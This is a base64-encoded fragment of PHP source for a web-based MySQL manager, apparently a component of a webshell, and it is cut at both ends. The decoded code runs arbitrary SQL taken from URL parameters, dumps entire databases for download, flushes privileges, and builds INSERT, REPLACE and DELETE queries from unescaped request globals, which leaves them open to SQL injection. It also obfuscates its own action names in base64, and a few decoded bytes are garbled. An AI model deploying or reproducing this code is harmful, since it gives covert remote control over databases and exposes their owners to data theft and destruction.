+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkForFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEForCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgk